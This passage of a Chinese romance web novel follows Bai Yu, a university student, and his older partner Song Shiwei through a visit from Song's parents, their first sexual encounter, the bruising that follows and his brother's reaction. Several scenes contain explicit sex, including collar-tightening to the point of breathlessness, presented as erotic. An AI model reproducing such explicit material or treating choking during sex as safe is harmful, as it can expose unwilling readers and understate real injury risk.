他们周边仿佛都冒起了小花花,宋母的心都快萌化了。 从宋时蔚十四岁起就没在给他们机会去参与他的事情,宋父宋母早就习惯了这种相处模式,对于部分喜欢炫耀孩子孙子的朋友,也只是保持着尊重。 但直到这一刻,宋父宋母明悟了。 有孙子就是好啊。 多个儿子也好。 “下面两层都是一些给年轻人的服装品牌。”宋母动作自然的挽住白榆,带着他往下面走,“先看看这家吧。小榆,你长的好看,就应该多买衣服。时蔚怎么不给你多添点衣服。” “太瘦了。我和时蔚爸爸认识一个很多年了的中医,我们问问什么时候有时间,让时蔚陪你去看看。时蔚,也不上点心。”宋母拉着白榆看。 宋时蔚在旁边拎着大大小小的购物袋,还要接受自己母亲三句话不离的数落。 “这个颜色亮,好看的。” “这个也合适。” 白榆动作僵硬的抱着衣服,“嗯,好的。我马上就去试。” 宋母看出白榆的不自在,主动说道:“要不去别的店看看。或者……去吃点东西。累了的话,我们就回家吧。” “出来开心最重要了。”宋母的语气态度自始至终的都很温和,不会让人有任何的压力。 白榆很少和女性这么近距离的接触,脸有点红,声音跟蚊子一样,“嗯。” 白榆以前偶尔陆莫宁也会带他出来,但每一次他都会让陆莫宁生气。 他想和陆莫宁出来,但又害怕陆莫宁生气。 白榆小心的看了一眼宋母。 “那边有冰淇淋卖,小榆要吃吗。”宋母拉着白榆地手说道。 好像没有不高兴,白榆心想道。 * * * 宋父宋母第三天上午就走了。他们回来本来就是为了探望生病的老朋友,来看宋时蔚只是顺路。这些年来,宋父宋母相处模式已经固定,他们和宋时蔚相处的很融洽,感情也很深,但从不长期住在一起。 晚上到家,白榆的心思又开始活络。 虽然晚了点,但还是可以进行的。 那就今天晚上吧。 白榆在心理盘算着。 “我已经洗过了。” 宋时蔚晚上一推开卧室门,就听见白榆对他说道。 白榆躺在床上,睡衣扣的严严实实的,琥珀色的眼睛很乖的看着他。 “你快去洗。”白榆催促道。 宋时蔚喉结一动,忍住现在过去把人弄一番的冲动,闷声说道:“嗯。” 白榆竖着耳朵,听见浴室响起水声后,从床上起来。 他到宋时蔚的衣帽间,找了件宋时蔚的白色衬衫。 白榆身上全部的衣服,动作生疏地套上了这件宋时蔚的衬衫。 直到套在身上,白榆才发觉宋时蔚的衣服对他来说,到底有多大。 他胸前空荡荡的一篇,总有种四面八方的风,都能吹进去的感觉,穿着跟没穿一样,衬衫长的都能当短裙了,屁股被抱住,衣服一路拖到大腿根。 白榆身上开始泛红,他毕竟是第一次做这种事,做不到自然。 他弯下腰,从床头柜里,拿了一条样式非常简单的白色内裤出来。 内裤比他平时穿的起码小了一码,他一穿上,屁股两瓣被绷得紧紧的。 白榆不太舒服地扯了两下,发现就算拉出来了,只要自己一动,裆那里就会臀缝夹住,干脆不耐烦的放弃了。 宋时蔚买的都是什么东西。 他是变态吗。 白榆身上更红了,他又在抽屉里翻了翻,从里面拿出件看起来最正常的一样东西——一条黑色的项圈。 项圈的款式很简单,白榆扯了两下,觉得不是那某宝上卖的那种情/趣用品,质量要好很多,皮质摸起来很细腻。 项圈的中间挂着一块暗示意味明显地银白色的小牌子,上面刻着一行白榆看不懂的文字。 白榆拿手机查了一下,脸色瞬间爆红。 “骚。”白榆低声骂了句,把项圈带到脖子上了。 他平时连项链都不怎么带,脖子上忽然有东西的感觉很奇怪,忍不住抖了一下。 白榆感受着,一点点把项圈收紧,从一开始能轻松的探入手指的宽度,缓慢的拉紧到能紧贴着皮肤,直到最后白榆稍微有点呼吸困难,才停下。 白榆白腻的腿大大咧咧在床上支着,胳膊搭在腿上,伸手从抽屉里取了几包套子,把里面的一包叼在嘴里,耳根红着,心里想道。 不止宋时蔚,我好像也有点。 白榆光着脚踩在地上,打开了浴室的门。 第87章 浴室里。 宋时蔚看见走进来的白榆, 没出声,也没把水关了。 浴室的水温很高,白榆光着脚踩在地上, 并不凉。 他并没有进之前,以为的会紧张,反而有种说不上来的兴奋刺激,眼睛一寸不移的地盯着宋时蔚。 “我帮你带上。”白榆说完,他用牙齿要咬开袋子, 把里面的东西叼了出来。 白榆压住反胃的感觉,把袋子里的东西含在嘴里, 小心着不用牙齿咬到,用舌头从里面顶起一个小凸起。 白榆半跪下来,靠近宋时蔚,看着面前的东西,尽可能地把嘴巴长大,将脑袋凑过去。 真的能进去吗,白榆心里想道。 会到喉咙里吧。 白榆后知后觉的感受到了害怕。 白榆把眼睛闭上, 脖子后倾,尽快的要去含住。 “唔-” 白榆还没碰到,头被两只大手猛的抓住,捧着他的脑袋往后推。 动作太快了, 白榆没反应过来,舌头还费力伸着,被嘴里的东西给呛到了。 一阵反胃感传来,白榆被人从地上抱起来,站稳了身子后,白榆弯着腰, 想把嘴里的东西弄出来。 “呕-” 宋时蔚的手插到了他嘴里,手指仿佛要直接伸到喉咙里,刻意地在里面摸索了一番,才把里面的东西取出来了。 “咳咳咳咳——”白榆说不出来话,嗓子里火辣地疼,猛烈地咳嗽,却又无意识的不停吞咽口水。 “从哪学的。”宋时蔚把拿出来的东西,随手扔到地上,动作仔细小心地把脖子上的项圈解松,炙热地指腹贴在白榆细长的脖子上,温和地抚摸着白榆的后颈,尾音勾起,听不出喜怒地说道,“嗯?” 白榆仰着头,就在他咳嗽快要平息的时候,宋时蔚的手向下,从衣摆下探了进去,臀瓣被内裤紧勒着,宋时蔚多停留了两秒,扯着白色的边线,用力一拉。 “呜—”白榆被迫踮起脚,发出一声痛苦地闷哼,几乎是西斯底里的喊出来,“宋时蔚!” “嗯,在呢。”宋时蔚松开手上的力道,抱住怀里的小孩,轻拍着白榆的后背,“这种程度都受不了。学这些乱七八糟的东西。” 白榆急喘着气。 “不舒服了吗?”宋时蔚半跪下来,把白色的衬衫下摆往上拉,动作耐心地将衬衫在上面收起,”太长了,下次穿自己的。” 下次! 白榆里面还是抽痛,瞪着宋时蔚,生闷气地想到。 下辈子吧。 我现在就送你去下辈子。 氤氲水汽中,白榆身上早就湿透了,真丝面料的衬衫契合的贴在皮肤上,变得透明起来。 宋时蔚隔着布料舔舐,骨节分明地大手向上巡视,一路或轻或重地触碰着。 可能是水汽太多,白榆眼前几乎一片空白,酥麻的痒意传遍全身,理智近乎崩塌,眼眶微微发红。 宋时蔚他面前的东西反应差不多了,才停下动作,半跪着,视线向上,手指抚摸着白榆的脊骨,用仿佛诱哄小孩子的语气问道:“怎么这样进来?” “你为什么不做。”白榆仰着脖子,他几乎站不住了,把大腿根搭在宋时蔚的见背上,身体下垂,腰背弓着,搂住宋时蔚的脖子,腰软的不可思议,维持着这个极需柔韧性的姿势。 “嗯?”宋时蔚的手在后面支着白榆的后腰,不让他摔下去了,低头吻了吻白榆的小腹。 “你为什么每次都不做到底。”白榆被亲的轻轻抖了一下,睫毛轻颤,琥珀色的眼睛里多了层水雾,低下头,眼神还是跟刚进来时一样,一动不动的盯着宋时蔚看,连白榆自己都没意识到,他现在的声音很软,听起来撒娇似地说道,“我想让你舒服。” 宋时蔚要被他打败了。 * * * 清晨,阳光透过帘子照进来的时候,白榆刚睡过去。 白榆的身体下意识的小幅度的抽动着,不自觉的发出类似抽泣的声音。 宋时蔚给白榆喂了好几次温水,一开始他不喝,宋时蔚试着往里面加了一些蜂蜜,才勉强进去。宋时蔚掌心保持着温暖,轻按着白榆的身体,在反复的放松后,直到太阳高挂着,白榆才彻底安静下来,睡了过去。 没发烧,宋时蔚抚开白榆额头前的碎发,把掌心放在白榆额头上,停留了几秒确认道。 喉咙和下面也没有真的受伤。 卧室里到处扔的都是套子,浴室更夸张。但宋时蔚暂时没有心思去处理,他到卧室的阳台上,把门关紧,久违地点了根烟。 宋时蔚轻着烟嘴,神情冷淡。 白榆从来没有和其他男人做过什么。 大部分的男人,被异性进入,都不会感到快乐的感觉,严重的甚至可能留下终身阴影。 宋时蔚想做,但不想让白榆受伤,甚至不想让白榆有一点不好的记忆。 他的瞳色很深,目不转睛地盯着被养在阳台上的仙人掌看,心思却早就飘到了其他地方。 他想让白榆被他艹上瘾,这才是他内心最真实的想法。 几乎没有间断,长达一周的开拓,反复试探的底线后,宋时蔚已经完全熟悉了白榆的身体。 第一次,他尽可能地讨好这白榆。 但有些行为,他总是克制不住。 宋时蔚把烟掐了,在阳台呆了会,等烟味散去才回到房间里面…… * * * 白榆醒来的时候,已经半下午了,他整个下半身都是麻的,从腰以下的部位仿佛已经不属于他了。 白榆四肢发软的躺在床上,意识还没回笼,本能地把手放到小腹上。 是平的,白榆模模糊糊地想道。 白榆去摸自己的脖子,就算没有镜子,他也能感觉到上面肿了。 白榆回味昨天晚上发生的事。 他们在镜子前面…… 白榆用力呼吸着,放在脖子上的手忍不住搓揉着。 他昨天快要受不了的时候,宋时蔚从后面抱着他,用力拉紧了他脖子上的项圈。 白榆有一瞬间,无法呼吸了。 等视线再次清明的时候,他整个人全靠宋时蔚支撑着,才没有倒在地上,宋时蔚捧着他的头去看镜子,镜子上面到处都是。 白榆身上脸上又开始红了,他猛的从床上坐起来,下面传来一阵酥痒,让他动作一停,小心的从床上爬起来。 里面被洗干净了,还有点凉。宋时蔚给他涂东西了。 看是看,做是做,白榆昨天用身体才明白这句话的意思。 白榆光着脚去找衣服,一打开浴室,就看见了他昨天晚上穿的那件宋时蔚的白衬衫。 皱皱巴巴的衣服,没洗没熨的,但是被整齐的叠好放着。 宋时蔚还留着?! 白榆用力把衣服捏成一团,扔到脏衣篓了。 洗了。 不对。 这东西就该烧了。 白榆又把衬衫从脏衣篓里拿出来,偷摸地把衣服带走了。 他刚拿到卧室,准备藏起来,就听见了推门声。 “醒了吗。”宋时蔚推门进来,看见白榆手里拿着的东西,挑了下眉。 白榆拿着衣服,僵在原地,就这么被宋时蔚看着,解释道:“我要拿去烧了。” “烧了干什么。”宋时蔚动作很轻的摸了摸白榆的脖子,“找个房间挂着。我们以后还可以在那做。” 白榆在心理第n次觉得宋时蔚骚,脖子上被摸的像是有羽毛扫过一样,痒的厉害,不高兴地说道:“你把我弄成这样,我怎么出去。” 宋时蔚笑了一声。 还笑? 白榆更生气了,正准备发火。 白榆看着宋时蔚身上,怒气卡壳了一下,“…………这两天好像也没有很热吧。” “你要不多穿点衣服吧,”他好像昨天舒服了,不舒服了都喜欢咬宋时蔚来着的。 宋时蔚语气正经,像是在讨论什么正事似地说道:“不用。我就喜欢这样出去。” 白榆没他脸皮厚,拉着宋时蔚到了衣帽间,边往他身上堆衣服,边面无表情地说道,“你谈恋爱了。你男朋友,不让你这样出去。” 白榆最后都把宋时蔚团成小熊了,才勉强把身上的印子全遮住。 衣服都套了,白榆看着昨天宋母给他买的小熊发夹,趁着宋时蔚没注意,眼疾手快地给宋时蔚带上、 “干什么呢,小朋友。”宋时蔚捏了一把脑袋上的小熊耳朵。 白榆迅速拍了两张照片。 嗯,宋时蔚就算是被裹成熊了也好看。 白榆盯着相册里的照片看。 宋时蔚觉得他可爱,弯腰在衣帽间里又亲了上去。 “别舔我里面。”白榆把宋时蔚推开一点,换了会气,踮起脚又亲了上去,亲吻间,含糊不清地说,“我嗓子疼。” “嗯。”宋时蔚舔的轻了一点。他没让白榆干任何有可能扯伤喉咙事情。结果亲两下,拿手指摸了摸,都能肿了。 就这样还不知道跟哪学的,要做那种事,小兔崽子…… 宋时蔚拇指不轻不重地按压着白榆的喉结,“多喝水,过两天就好了。” “小崽子,你明天还要上课,安分一点。”宋时蔚拍了下白榆不安分的手,说道,“去楼下吃点东西。” 白榆跟着宋时蔚下楼,他出房间才发现天色已经很晚了,白榆看了一圈问道:“安安呢?他怎么不在。” “去学陶艺了。”宋时蔚把放着保温的米糊盛出来大半碗。 “??陶艺?”白榆奇怪的问道,“去哪学的陶艺。” “刚去报名的。”宋时蔚把食物在桌子上摆好,补充道,“今天你睡着的时候我带安安过去看过。他很喜欢。” “哦。”白榆听见安安喜欢就没管了。 安安偶尔不在也挺好的。 第88章 安安晚点就被宋时蔚接回来了。 小崽崽嘟囔着小脸, 看起来并不是很高兴的样子。 “爸爸。”白予安掏出一个小瓷盘给白榆,说道,“这是安安的。” “哇。”白榆拍手感叹道, “这是安安做的吗?” 盘子烧的很漂亮,整体是渐变的淡蓝色,中间还画了几朵小花。 白榆看着,觉得小花的样子和前几天带安安去游乐园买的非常像。 白榆奇怪了。 作为一只四岁多的小崽崽,安安的动手能力很强, 行动能力更强,天天变着花样的惹祸不在话下。 但以白榆对自家崽的了解, 安安在绘画方面的天赋,约等于没有。 这种好看的东西不像是他家崽做的。 “不是的。”小崽崽像是头顶有耳朵的小兔子,沮丧地把耳朵垂了下来。 “那安安,还想去吗?”白榆小心地问道。 虽然白榆也想和宋时蔚单独在屋子里,发生点什么该成年人发生的事,但他多少还有点良心,做不出把小崽崽随便扔到外面的事。 “要的。”白予安没说想不想, 但去上陶艺课的态度很坚定盯,斗志很强的说道,“安安要去上课、” “嗯。”宋时蔚把安安抱到腿上,说道, “那我们下个周末再去。顺便还可以去体验一下其他的课程。” * * * 晚上冲洗完,白榆泡在浴缸的水里,忽然的收到了宋母的消息。 【宋时蔚妈妈:小榆,睡了吗?我和时蔚的爸爸已经到家了】 【树:还没睡呢】 【宋时蔚妈妈:嗯,你有详细的衣服的尺寸吗】 白榆乖乖的回答。 【树:没有,我只知道身高体重这些】 【宋时蔚妈妈:那让时蔚帮你好好的量一下。我找了裁缝帮你在做几件衣服, 等你放假来玩的时候,应该就差不多好了,到时候试试看合不合适】 白榆往下滑,半张脸都埋在水里。 【树:嗯,好】 宋时蔚的爸爸妈妈都很好。 对我也很好。 我和宋时蔚表白过了,睡过了,父母也见了。 算是,在一起了吧。 我也该带着宋时蔚去见我家的人吧。 白榆没什么家里人。非要说的话,他现在唯一的亲人就只剩叶林了。 但要让叶林发现,小叔叔变男朋友了,他哥会原地爆炸吧,白榆把自己埋在睡里想道。 * * * 第二天早上,白榆还要去学校,他一起床就发现了一件严峻的事情。 他身上的印子更明显了。 白榆把衣服裤子都脱了,光着在浴室的镜子前面看。 昨天原本只是红了的地方,全部都晕染开,青的青,紫的紫的,一大片一大片的,根本就看不下去。 其他衣服能盖住的地方就算了,脖子上遮都遮不了的一大片。 他这幅样子简直和受了某些特殊癖好的性/虐/待一样。 白榆耳尖的听见了卧室里开门的声音,推开门喊道:“宋时蔚!” “虽然我很乐意。”宋时蔚轻叹了口气,“但是,宝贝,你确定要只穿着内裤在屋子里里跑来跑去的吗。” 白榆脸色爆红,一气之下,踩了宋时蔚一脚。 踩完白榆又觉得自己幼稚,把脚收回来了。 “别光着脚踩在地上。”光都光着了,宋时蔚顺手捏了一把白榆胸前,“先穿衣服。” 白榆被捏的发痒,又想踩宋时蔚了。 白榆找了件领子高的外套,他把拉链拉到最上面,发现就算能遮住,他只要一动,还是难免多少会露出来。 而且下面,比昨天更难受了。 昨天宋时蔚非要给他在涂一次药,他没让。 白榆以前脑袋上缝过针,胳膊腿都断过,但不管多痛的时候,都没现在难熬。 宋时蔚拿着一盒无菌敷贴过来,仔细地给白榆贴上。 “要围着脖子贴一圈吗。”白榆拉了拉领口,说道,”有点不舒服。” “嗯。“宋时蔚捏了一下白榆的耳朵,“别撕了,乖一点。” 白榆盯着宋时蔚在看。 宋时蔚身上的痕迹比昨天淡多了,偶尔能发现的咬痕,在他身上反而有种别样的性感。 白榆皱着眉,偏了偏头,“你也要裹起来在出去。” ”嗯。“宋时蔚笑了下,“你想怎么都可以。” * * * 虽然脖子上贴了一圈敷贴不舒服,但总比顶着勒痕在学校到处跑好,而且宋时蔚还不让他撕掉。 作为一个平平无奇的周一,白榆的时间本来应该过的很快的、结果中午临时被通知要调课,下午要提前去上周三的体育课。 临近期末了,他们这周体育就要节课了,今天要节课考试选修的是网球,期末考试的内容是和老师对打,老师根据情况打分。 别说打球了,白榆热身的三圈跑下来,就有些受不了了。 下面一扯,就有感觉。 白榆把外套脱掉,用衣服盖住自己发红的脸。 体育老师:“今天身体不舒服的,考不了的可以请假,别硬撑着。下周我回来了,集中补考。” 白榆把外套往椅子上一搭,去拿拍子和球。 死撑着的后果,就是考试被体育老师‘特别关注’,考试时间是别人的两倍。 “打的真不错啊。”体育老师意犹未尽的说道,“要不是后面还有学生要打成绩。我还想在打会。以前专业学过吗?” “嗯。”白榆拿着矿泉水,仰头小口小口的喝水。 “跟谁学的?”体育老师问道。 白榆报了个名字。 “他啊。我和教你的网球的老师还认识。学了多久?有没有兴趣继续学下去。” “几个月。”白榆言简意赅的说道,“没有。” 白榆倒没有很累,但出了一身的汗,他小口的喘着气,脖子上的敷贴被汗水打湿了,他不舒服的扯了下。 体育老师:“我刚就想问了。你脖子上贴东西干什么?受伤了?也不像啊。你贴着不难受吗?” 白榆热的厉害,唇瓣贴在瓶口小口的喝着水,吐出两个字,“时尚。” 体育老师:“……” 啊,现在的年轻人好难懂。 嘴硬完,白榆下课转头就去卫生间把敷贴给撕了。 难受死了。 死撑着加嘴硬的后果就是他下面更难受了。 刚喝了冰水,白榆嗓子也开始不舒服了。 这辈子嘴比命硬的小白同学,把敷贴给扔垃圾桶了。 白榆把外套拉链拉到最上面,遮住脖子。 反正课都上完了,没几分钟就要走了,能有谁发现。 发现了就发现了。 白榆一个人在外面住,要交很多东西都不方便,他拿着他的心理测评表,往辅导员办公室走,交完表他就回家。 辅导员办公室在行政楼,白榆敲了两下大开着的门,进去了。 他把心理测评表放到办公桌上,说道;“导员,我放这了。” 他们辅导员是这个学期新换的,白榆和他不怎么熟,就记得是个男的,没比他们大多少。 “嗯。”刚从学校毕业的年轻辅导员见到有学生来了,站了起来。 辅导员人很高,起码比白榆高,以高于白榆的视线,他一低头就看见了。 他的学生,脖子上好像有什么不该有的东西。 年轻的辅导员瞬间汗如雨下。 白榆顺着辅导员的视线,也看到了自己的脖子,他沉默了两下,说道:“我这两天出去打架了。” 辅导员立刻点头,高声‘嗯’道:“嗯。这样吗。” “嗯。”白榆点头,慢了半拍后说道,“要写检讨吗?” 白榆最后并不用写检讨心情不错的出去了。 辅导员坐在工位前,开始伤心。 是因为他年轻吗,他的学生们都在糊弄他。 白榆同学,你亲爱的辅导员看见脖子上的吻痕了,只是不好意思说啊。 你谈的是什么正常恋爱吗。 爆哭.jpd 年轻的辅导员痛定思定坐了半个多小时,期间脑子里全是什么s/m,精神控制,主仆关系,出了事之后,家长来大闹学校,上面躲起来,把他推出去解释,情绪不稳定的家长一刀把他捅死。 最终辅导员一身冷汗的拨打了电话。 “喂,您好,是白榆哥哥吗?” “嗯嗯,打扰了。我是白榆的辅导员,您有时间吗?” “我有些事想了解一下?” “就是,您知道白榆最近可能谈恋爱了吗。” * * * 宋时蔚刚开完会,回到办公室,就接到了叶林的电话。 “怎么忽然打电话给我。”宋时蔚看了一眼,打的是他的私人号码,“看起来不像是工作上的事情。” “嗯。”叶林承认。 叶林的声音听起来很郑重,隐隐还藏着低气压,“我有件事,可能有些冒昧。但我想来想去,只能找你了。” 对自己小男朋友的哥哥,宋时蔚的态度很好,“怎么?” “你这段时间,能帮我看着小榆吗。”叶林点了支烟,夹在手里,“我弟弟可能在外面被人性/虐/待了。” 第89章 宋时蔚没有说话。 叶林继续倾诉着。 “今天, 小榆大学的辅导员专门给我打电话了。”叶林放任手上的烟燃烧着,“说在小榆脖子上看见了严重的勒痕。” “不知道是哪个人干的。”叶林咬着烟,“这人想来也不是个什么好东西。” 宋时蔚没说话。 叶林分析道:“这种人利用小榆年纪不大, 从小缺少家里的关爱,打压、控制小榆。强迫小榆配合他的各种私欲,只要小榆不愿意就威胁冷暴力小榆。” 宋时蔚还是没说话。 虽然辅导员只是言语委婉的向叶林询问了一下,白榆最近的情感状况。顺便言语更委婉的提醒了一下,白榆脖子上的痕迹。 但在叶林这, 已经脑补出来了,他‘花儿一样美丽’的弟弟被人关在地下室的场景了。 叶林接受不了。 “我知道找你帮忙很唐突。”叶林转换语气, 组织着语言,诚恳地说道,“但离小榆近,我能放心。最主要的是小榆还不排斥的人,我只能想到你了,时蔚。” 叶林这么说不全是为了让宋时蔚同意,故意给宋时蔚戴高帽子。 上次吃饭叶林就发现了, 白榆意外的听时蔚的话,这也是叶林找宋时蔚的很大一个原因。 他和小榆之间的省份微妙,很多事叶林不方便干涉。但要是有时蔚就好了,叶林清楚以宋时蔚的身份, 小榆能和时蔚深交,对小榆来讲有利无害。 “时蔚,这几天能帮我看着小榆一下吗。”叶林拿不准宋时蔚会不会答应,他们认识很多年了,关系一直不错,但宋时蔚不像是能给人看孩子的人。 宋时蔚:“嗯。” 叶林彻底放下心来, “谢谢了,改天我们出来聚聚,我请你吃饭。” “所以……”宋时蔚沉默了几秒,问道,“你是担心白榆在感情中被人欺负吗。” “不全是。” 叶林把烟摁灭了,声音低了两度,“我也担心小榆哪天和人闹掰,反目成仇,太生气,把人不小心打死了。” 得到这个消息后,叶林脑子里除了地下室还有铁窗泪。 * * * 白榆交完心理测评表,就往学校外面走,走到半路,他忽然恶寒了一下。 有人在背后恶心我吗? 白榆揉了揉鼻尖继续走,快到他和宋时蔚碰头的那个小巷子时,白榆接到了叶林的电话。 自从有了安安和宋时蔚后,白榆发现不知道为什么他没那么怕和叶林交流了,他接起电话,“喂,哥。” 叶林:“嗯。小榆你最近过的怎么样,过的好吗。” 白榆:“挺好的。” 叶林:“缺钱吗?钱够不够花,要不要哥哥给你打点。” 白榆:“不缺,够的。” 叶林:“记得好好吃饭。” 白榆;“嗯嗯。” 白榆丝滑的完成了这一段通话后的固定对话。白榆有时候在都在想,换个机器来答或者换个机器来问,也没人能察觉…… 固定电话今天出了点偏差,叶林忽然问道:“你最近有交什么新朋友吗?” 白榆把手揣兜里,脚步一顿,叶林的语气如常,但白榆的第六感敏锐的觉得哪里不太对。 “新朋友?”白榆在脑袋里思索了一圈,谨慎地回答,“没有。” “是吗。”叶林的语气听不出来信没信,继续旁敲侧击地问道,“那小榆你想认识新朋友吗?赵叔叔家的女儿就比你小一岁,就正好今年在b大附近的大学上学。” “不想。”白榆想都没想直接拒绝,他忽然眼尖地看见一辆熟悉的黑车开过来,快速说道,“哥,我一会还要上课,先挂了。” 白榆拇指在手机屏幕上随便点了一下挂断电话就拉开车门,往副驾驶上去。 宋时蔚俯身给白榆把安全带系好。 白榆把手机随便扔座椅上,搂着宋时蔚的脖子亲了上去。 这是一个很浅的吻。 宋时蔚分开了他们两个。 白榆眼尾耷拉着,表情不爽的看着宋时蔚。 又在撒娇了,宋时蔚心想。 白榆搂在宋时蔚脖子上的手还没下去,宋时蔚的手指穿过白榆的发丝,没忍住揉了揉。 白榆下意识的闭了一下眼,臭着个脸说道:“别摸我头。” “嗯嗯。”宋时蔚嘴上同意着,心理一点要答应的意思都没有,问道, “还难受吗。” 白榆这下把手收回来了,像是为了证明一样,还专门翘了个二郎腿,板着个脸说道,“不难受。” 宋时蔚没听他嘴硬,“回去在涂一次药。” 白榆坚持着,“不用。” 宋时蔚不理解小孩死要面子的这种抵触行为,他放低声音,语气理性克制地讲道:“不做事后措施会不舒服,尤其是你还是第一次,涂了药会好很多。” 白榆因为宋时蔚这种理智态度,瞬间炸毛。 “我不疼!” “腰也不疼,腿也不酸,下面也不疼,印子也快消失了,我哪里都很好!” “我不涂药。”白榆硬邦邦地盯着宋时蔚说道。 白榆心想,要是一会宋时蔚再提这个事,他就翻脸。 宋时蔚看着白榆,俯下身动作很温柔的吻了吻白榆的脸颊,低头很轻的去亲白榆的脖子。 白榆脸上开始发红。 和白榆相处一段时间,宋时蔚也明白了。 道理是不能跟他讲的,要哄要抱的。 亲舒服了。 一般很多事都能答应了。 宋时蔚亲了一下白榆,“我回去帮你涂。” “不。”白榆坚守底线。 “那你自己涂。”宋时蔚接着亲。 白榆沉默了一下,觉得他做不到这种事情,“不要。” 宋时蔚挑了下眉,掌心握着白榆的腰,不轻不重的捏着,“那我看着你自己涂。” 那不是更过分了吗。 白榆没忍住,说道:“你是变态吗。” 宋时蔚被逗的笑了下,克制住自己亲了最后一下,“回去涂药。” 白榆不说话了,算是大发慈悲的默认了。 他见宋时蔚要回驾驶座,又勾住宋时蔚的脖子,仰着说道:“我热,给我摸一会。” 白榆把手伸到宋时蔚的衣服里面。 宋时蔚今天不知道干什么去的。 穿的全套的西装。 骚气。 白榆抬眸往上看,宋时蔚黑色的眼睛直白露骨的看着他, 衣冠禽兽。 “在摸我们可能就走不了。”宋时蔚克制住自己,摁住白榆的手。 “那就不走了。”白榆手被摁住就不动了,专心的捏了捏,一本正经地开玩笑,“反正这也没什么人,我们就在这里做,车/震。” 话刚说完,白榆就听见了什么东西被摔碎的声音。 有点像杯子被掉到地上的声音,白榆心里想道。 声音很小,但白榆的耳朵一直都很尖。 白榆竖着耳朵,捕捉到声音后呆住了一下,动作缓慢地转动脖子,去查询声音的源头,低头看见了手机。 声音是从手机里传出来的。 白榆瞬间不热了,他甚至觉得他的血液都快被冻住了。 维持着这个姿势停了两秒,白榆赶紧把手从宋时蔚身上收回来。 白榆打算去拿手机,结果动作太大,直接把手机摔座椅夹缝里头去了。 白榆弯下腰,去够掉到夹缝里的手机,把屏幕重新按亮。 电话没挂! 没挂! !!! 白榆心脏都快跳停了。 他甚至没有勇气,在脑子里在回想一遍刚才他说过的话。 给我摸一下。 就在这做。 车/震。 这些都被别人听见了! 怎么办! 白榆身体快于大脑一步的把电话挂断了。 “滴——”手机响起信息被发过来的声音。 白榆僵硬的低头去看聊天框。 【哥:小榆,怎么把电话给挂了。】 第90章 白榆差点把手机丢出去, 本能地喊道:“宋时蔚。” “嗯,我看到了。”宋时蔚回应,他安抚着白榆的情绪, “这里不能长期停车。我先把车开走,找个能停车的地方把电话打回去。” “现在就打回去吗。”没等宋时蔚回复,白榆紧握着手机,自己回答道,“对, 现在就要打回去。” 如果不回。 他哥不会真的以为他和宋时蔚在车上‘啪啪啪啪啪啪啪’了,才把电话挂了吧! 宋时蔚就近找了个停车位, 他把刚才被白榆弄乱的衣服理平,摘下眼镜,按了按眉心。 白榆头一次见到这样的宋时蔚,问道:“你是不是紧张。” 宋时蔚承认,“是。” “哦。”白榆去抓宋时蔚的手,硬气地保证道,“别紧张。我顶着。” 宋时蔚失笑。 和白榆嘴上的勇敢不一样, 电话一接通,白榆心跳就开始加速。 “哥。”白榆叫道。 打的是视屏电话,视屏里叶林就坐在桌前,眉头皱的都快能夹死蚊子了。 叶林视线不加掩饰地打量着, “你们还在车里。” “不是。”白榆马上否认,“我们马上就回家了,只是在路上而已。” “你们住一起了!”叶林大喊,“白榆,你脖子上怎么回事!” 白榆低头去看。 刚亲着的时候,把领口拉低, 忘拉回来了。 失算了。 白榆在心底咂舌,麻利地一口气把拉链拉到最上面,用了同一套说辞,“打架打的。” 宋时蔚礼貌地说道:“抱歉。因为刚在一起,还没找到机会跟您说。现在可以谈谈我和白榆的事情吗。” “我现在不想和你谈这件事。”叶林深吸一口气,明显是被气狠了。 白榆怕他哥真的气昏过去,难得鹌鹑一样的不说话了。 叶林的视线在两人间扫动,他想说些什么,但碍于他和白榆之间尴尬的关系,一些话他说不合适,最后黑着个脸一眼不发的把电话挂了。 * * * 之后两天,什么事都没发生,出于愧疚白榆每天坚持给叶林发消息,叶林也都回了,态度平和的白榆差点以为‘车/震’那件事根本就没发生过。 白榆晚上缩在被子里,冷不防地说道:“我哥是不是已经接受我们在一起了。” 宋时蔚心想,那当然是不可能的。 晚上到了,男朋友就躺在旁边,白榆莫名倾诉欲上来了,“我其实从来没讨厌过我哥。” “虽然他可能觉得,我恨过他。”白榆侧过身,背对着宋时蔚躺着,“但我清楚很多事和他没有关系。我从来没讨厌过他。” 白榆的身体被人强行转过来,被正面抱住。 宋时蔚把白榆抱在怀里,耐心地继续询问,“那为什么不愿意去见叶林。” “因为……”白榆把脑袋贴在宋时蔚的胸口,去听宋时蔚的心跳声,逐渐安定下来:说道,“我觉得这样对不起我妈。” “嗯,除了这个事以外呢。”宋时蔚诱导着白榆继续说下去,“还有什么事,会让你有负罪感。” 白榆没有说话了,宋时蔚的怀抱温暖且安全,白榆闭上眼睛,靠在宋时蔚身上,迷迷糊糊快要睡过去的时候,声音很轻地说道“我不敢过的太好了。她应该不想让我过的太好。” 宋时蔚轻轻地拍着白榆的后背,安静地看着白榆彻底睡过去。 * * * 事实上,‘车/震’后,什么都没发生的只有白榆。 茶烟袅袅的雅致小厅里,身着仿中式外衣的服务员,动作优雅流畅的表演着茶艺,完毕,向上首的两位客人奉上茶,整座茶庄都被租了下来,安静的室内,完成要做的工作后,服务员退了出去。 “时蔚。”叶林的脸上看不到那天在视频里的暴怒,脸上带着淡淡的笑容,“我和你认识很多年了吧。” 宋时蔚:“是,快十年了。” 叶林:“合作的事情,我可以说服其他人,在让一个点给研究所。” 动辄百亿计的年营收,在未来五年,甚至十年内的合作,就这样被叶林主动割了一个点出来。 “时蔚,你要是想找小男生配合你,多的是人上赶着扑上来。”叶林对茶没有兴趣,装模作样地品了两口,“没必要和小榆纠缠,他性格差,脾气也不好。” 很多话没有必要说的这么清楚,宋时蔚是叶林遇到过最理性的人,这种人就不可能把什么所谓的爱情看的太重要。 出于理性考虑,哪怕只是以他们的关系,宋时蔚也会和白榆分开。 叶林放弃了装冷静,把茶放到一边,从烟盒里拿出根烟,准备点火,一束火苗先出现在了叶林的视线范围里。 宋时蔚的手臂越过桌面,将火苗递了过来。 宋时蔚在给我点烟?! 叶林最后还是没能克制住,宋时蔚弯腰给他点烟的诡异诱惑,让宋时蔚点了。 有便宜不占白不占。 叶林叼着烟,也给了宋时蔚一根,“你什么意思?不会不分吧?” 宋时蔚咬着烟,动作随意地坐在长椅上,语气自然,“我的财产,项目的终身收益,我有的都可以给白榆。” 叶林眼皮跳了一下。 “让我跟他结婚吧。婚前协议可以找律师来写清楚,要是我跟他离婚,就让他把我的所有财产都带走。”宋时蔚笑了一声,“只要敢签,就这样写。” 叶林第一次发现宋时蔚脑子有问题。 